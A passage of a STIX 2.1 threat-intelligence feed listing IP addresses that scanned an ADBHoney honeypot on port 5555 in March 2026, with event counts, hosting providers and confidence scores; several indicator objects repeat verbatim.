      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-11T14:46:02.000Z | last_seen=2026-03-11T14:56:08.880Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:00:02.000Z",
      "valid_until": "2026-04-12T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-11T14:46:02.000Z",
          "last_seen": "2026-03-11T14:56:08.880Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-11T14:45:11.000Z | last_seen=2026-03-11T14:46:16.633Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--6aa7f016-ed49-45bc-89cd-62a0f4c3199a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:00:02.000Z",
      "valid_until": "2026-04-12T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-11T14:45:11.000Z",
          "last_seen": "2026-03-11T14:46:16.633Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-11T14:46:02.000Z | last_seen=2026-03-11T14:56:08.880Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d30ae4df-6cd6-4824-bb18-c5b1c3668f0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T15:00:02.000Z",
      "valid_until": "2026-04-12T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-11T14:46:02.000Z",
          "last_seen": "2026-03-11T14:56:08.880Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-11T17:27:25.000Z | last_seen=2026-03-11T17:37:34.737Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--3338227e-095c-4a91-a1f1-2a280a692126",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.188.53.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:00:02.000Z",
      "valid_until": "2026-04-12T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-11T17:27:25.000Z",
          "last_seen": "2026-03-11T17:37:34.737Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-11T17:27:25.000Z | last_seen=2026-03-11T17:37:34.737Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--3338227e-095c-4a91-a1f1-2a280a692126",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.188.53.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T18:00:02.000Z",
      "valid_until": "2026-04-12T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-11T17:27:25.000Z",
          "last_seen": "2026-03-11T17:37:34.737Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-11T20:40:21.000Z | last_seen=2026-03-12T18:46:23.003Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--4a03eb2e-e084-47c1-a1e8-b8ca6b6a49cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:00:02.000Z",
      "valid_until": "2026-04-12T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-11T20:40:21.000Z",
          "last_seen": "2026-03-12T18:46:23.003Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-11T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-11T20:40:21.000Z | last_seen=2026-03-12T18:46:23.003Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--4a03eb2e-e084-47c1-a1e8-b8ca6b6a49cd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-11T21:00:02.000Z",
      "valid_until": "2026-04-12T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-11T20:40:21.000Z",
          "last_seen": "2026-03-12T18:46:23.003Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-12T01:51:54.000Z | last_seen=2026-03-12T02:02:01.221Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--13984d2d-b6b9-4d93-a7e6-b885e3bee427",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T02:00:02.000Z",
      "valid_until": "2026-04-13T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-12T01:51:54.000Z",
          "last_seen": "2026-03-12T02:02:01.221Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-12T01:51:54.000Z | last_seen=2026-03-12T02:02:01.221Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--13984d2d-b6b9-4d93-a7e6-b885e3bee427",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T02:00:02.000Z",
      "valid_until": "2026-04-13T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-12T01:51:54.000Z",
          "last_seen": "2026-03-12T02:02:01.221Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T03:07:35.000Z | last_seen=2026-03-12T03:08:39.507Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7475ac9b-89e1-4fc8-aaed-2eb827dffffe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.50.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T03:07:35.000Z",
          "last_seen": "2026-03-12T03:08:39.507Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-12T03:41:58.000Z | last_seen=2026-03-12T03:52:13.830Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.252.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-12T03:41:58.000Z",
          "last_seen": "2026-03-12T03:52:13.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=287; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=287 | first_seen=2026-03-12T03:30:25.000Z | last_seen=2026-03-12T03:41:35.172Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5f22c5ec-c8aa-47ad-8aaf-994e6d798f8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.145.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 287,
          "first_seen": "2026-03-12T03:30:25.000Z",
          "last_seen": "2026-03-12T03:41:35.172Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-12T03:31:11.000Z | last_seen=2026-03-12T03:32:27.796Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--833726ee-b11b-4076-ba9a-63652f70b326",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-12T03:31:11.000Z",
          "last_seen": "2026-03-12T03:32:27.796Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-12T03:07:35.000Z | last_seen=2026-03-12T03:08:39.507Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--7475ac9b-89e1-4fc8-aaed-2eb827dffffe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.50.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-12T03:07:35.000Z",
          "last_seen": "2026-03-12T03:08:39.507Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-12T03:41:58.000Z | last_seen=2026-03-12T03:52:13.830Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '157.245.252.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-12T03:41:58.000Z",
          "last_seen": "2026-03-12T03:52:13.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=287; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=287 | first_seen=2026-03-12T03:30:25.000Z | last_seen=2026-03-12T03:41:35.172Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5f22c5ec-c8aa-47ad-8aaf-994e6d798f8a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.71.145.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-12T04:00:04.000Z",
      "valid_until": "2026-04-13T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 287,
          "first_seen": "2026-03-12T03:30:25.000Z",
          "last_seen": "2026-03-12T03:41:35.172Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-12T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-12T03:31:11.000Z | last_seen=2026-03-12T03:32:27.796Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--833726ee-b11b-4076-ba9a-63652f70b326",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
